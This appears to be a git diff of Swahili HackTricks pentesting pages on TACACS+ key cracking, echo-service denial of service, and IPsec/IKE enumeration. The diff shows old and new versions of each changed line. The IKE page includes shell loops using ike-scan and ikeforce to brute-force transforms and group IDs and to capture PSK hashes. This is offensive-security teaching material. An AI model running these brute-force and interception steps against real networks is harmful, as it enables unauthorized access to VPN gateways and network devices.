* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,33 +24,33 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumika kwa kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, huchukua huduma na kuzigawa katika uthibitishaji, idhini, na uhasibu (AAA).
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumika kwa kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, linagawanya huduma katika uthibitishaji, idhini, na uhasibu (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Bandari ya chaguo:** 49
## Kukamata Kitufe cha Uthibitishaji
## Kukamata Kitufe cha Uthibitisho
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mkaidi, **kitufe cha uthibitishaji kilichofichwa kinaweza kukamatwa**. Mkaidi kisha anaweza kujaribu **shambulio la nguvu la kimtandao dhidi ya kitufe bila kugunduliwa katika magogo**. Ikiwa mafanikio katika kuvunja nguvu kitufe, mkaidi anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mkaidi, **kitufe cha uthibitisho kilichofichwa kinaweza kukamatwa**. Mkaidi kisha anaweza kujaribu **shambulio la nguvu dhidi ya kitufe kwa usahihi bila kugunduliwa kwenye magogo**. Ikiwa shambulio la nguvu dhidi ya kitufe linafanikiwa, mkaidi anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
### Kutekeleza Shambulio la MitM
Shambulio la **ARP spoofing linaweza kutumika kutekeleza shambulio la Man-in-the-Middle (MitM)**.
### Kuvunja Nguvu Kitufe
### Shambulio la Nguvu dhidi ya Kitufe
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kuvunja nguvu kitufe:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya kitufe:
```
sudo loki_gtk.py
```
Ikiwa funguo inabainishwa kwa mafanikio **(kawaida katika muundo uliofichwa wa MD5)**, **tunaweza kupata ufikiaji wa vifaa na kufichua trafiki iliyofichwa ya TACACS.**
### Kufichua Trafiki
Baada ya funguo kubainishwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama vile **bango lililotumiwa na jina la mtumiaji wa mtawala** inaweza kupatikana.
Baada ya funguo kubainishwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtumiaji wa usimamizi** inaweza kupatikana.
Kwa kupata ufikiaji kwenye kisanduku cha udhibiti wa vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
Kwa kupata ufikiaji wa kisanduku cha kudhibiti cha vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
## Marejeo
@ -58,7 +58,7 @@ Kwa kupata ufikiaji kwenye kisanduku cha udhibiti wa vifaa vya mtandao kwa kutum
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -1,20 +1,20 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,8 +23,8 @@ Njia nyingine za kusaidia HackTricks:
# Taarifa Msingi
Huduma ya kielekezi inaendeshwa kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na madhumuni ya kupima na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kufanyiwa mabadiliko.\
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine ile ile au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\
Kuna huduma ya kielekezi inayofanya kazi kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na kupima na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kuihariri.\
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine hiyo hiyo au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\
Maelezo kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Bandari ya Default:** 7/tcp/udp
@ -52,7 +52,7 @@ Hello echo #This is the response
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -62,10 +62,10 @@ Hello echo #This is the response
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,17 +24,17 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
**IPsec** inatambuliwa sana kama teknolojia kuu ya kusimamia mawasiliano kati ya mitandao (LAN-kwa-LAN) na kutoka kwa watumiaji wa mbali hadi lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
**IPsec** inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
Kuanzishwa kwa **umoja wa usalama (SA)** kati ya sehemu mbili hukamilishwa na **IKE**, ambayo hufanya kazi chini ya bendera ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:
- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikishwa kupitia matumizi ya Pre-Shared Key (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kushambulia**.
- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Neno la Siri lililoshirikishwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**.
- **Hatua ya 1.5:** Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kusimamia data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
**Bandari ya default:** 500/udp
## **Gundua** huduma kutumia nmap
## **Gundua** huduma kwa kutumia nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -46,11 +46,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Kupata ubadilishaji halali**
Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya ukweli**, funguo iliyoshirikiwa kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya kugawa funguo na sekunde 28800 kama **maisha yake**.
Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya uadilifu**, funguo iliyoshirikiwa mapema kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya kugawa funguo na sekunde 28800 kama **maisha mafupi**.
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itaweza kuzungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja na **ubadilishaji nane ndani yake**.
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja lenye **ubadilishaji nane ndani yake**.
Kulingana na majibu unayoweza kupata habari kuhusu mwisho:
Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -61,20 +61,20 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kutumia ufunguo uliopangwa mapema (na hii ni nzuri sana kwa mpentesta).\
Kama unavyoona kwenye jibu lililopita, kuna uga unaoitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\
**Thamani ya mstari wa mwisho pia ni muhimu sana:**
* _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo si **geti la IPsec**.
* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha kuwa **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo).
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu).
* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha **lengo limeboreshwa kwa IPsec na liko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza yanakubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo).
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribiwa).
Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya jaribio kidogo ili kupata mabadiliko sahihi:**
Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya nguvu kidogo ili kupata mabadiliko sahihi:**
Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Na kisha jaribu kuvunja kila moja kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -82,7 +82,7 @@ Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata k
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Natumai **ubadilishaji halali unarudishwa**.\
Matumaini **ubadilishaji halali unarudishwa**.\
Unaweza jaribu **shambulio sawa** kutumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
@ -90,18 +90,18 @@ Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://g
```
![](<../.gitbook/assets/image (109).png>)
Katika **Kikundi cha DH: 14 = MODP ya 2048-bit** na **15 = 3072-bit**\
Katika **Kikundi cha DH: 14 = 2048-bit MODP** na **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** usimbaji wa data unayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au chini).
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** ufunguo wa data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama vile 1,024-bit au chini).
### Uchunguzi wa Fingerprint ya Seva
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita**chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano sahihi wa majibu, mpentesta anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE.
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita **chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpentesta anaweza kufanikiwa kutambua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE.
**Taja uongofu halali ikihitajika** (kutumia --trans)
**Taja uongofu halali ikiwa ni lazima** (kutumia --trans)
Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hilo:
Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hii:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -121,30 +121,30 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Hii inaweza pia kufanikishwa na skripti ya nmap _**ike-version**_
Hii inaweza pia kufanikishwa na script ya nmap _**ike-version**_
## Kupata ID sahihi (jina la kikundi)
Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Mode ya Kusukuma na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha kujaribu.\
Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Aggressive mode na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha kujaribu.\
Kufanya hivyo, ningependekeza njia 2:
### Kulazimisha ID na ike-scan
Kwanza kabisa jaribu kutuma ombi na ID bandia ukijaribu kukusanya hash ("-P"):
Kwanza kabisa jaribu kuomba na ID bandia ukijaribu kukusanya hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu kazi itafanya kazi. **Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa ID bandia, kwa hivyo njia hii haitakuwa ya kuaminika** kufanya nguvu kazi ya ID. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):
Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu ya brute itafanya kazi. **Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa ID bandia, kwa hivyo njia hii haitakuwa ya kuaminika** kufanya nguvu ya brute kwa ID. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):
![](<../.gitbook/assets/image (110).png>)
Lakini ikiwa kama nilivyosema, hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.
Lakini kama nilivyosema, ikiwa hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu ya brute kwa majina ya vikundi vya kawaida kwa kutumia ike-scan.
Script hii **itajaribu kufanya nguvu kazi ya IDs zinazowezekana** na itarejesha IDs ambapo handshake halali imerejeshwa (hii itakuwa jina halali la kikundi).
Script hii **itajaribu kufanya nguvu ya brute kwa IDs zinazowezekana** na itarejesha IDs ambapo handshake halali imerejeshwa (hii itakuwa jina halali la kikundi).
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).
Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi cha kawaida kufanya nguvu kazi:
Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi cha kawaida kufanya nguvu ya brute:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
@ -154,15 +154,15 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
### Kuvunja ID kwa ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumika **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia udhaifu tofauti** ambao unaweza kutumika **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio sababu napendelea kutumia njia ya ike-scan ikiwezekana).
Kwa chaguo-msingi **ikeforce** itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.
* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).
* **Njia ya pili** inapatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
* **Njia ya pili** inapatikana kwa **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
* **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi**.
* Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\
Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imezimwa).
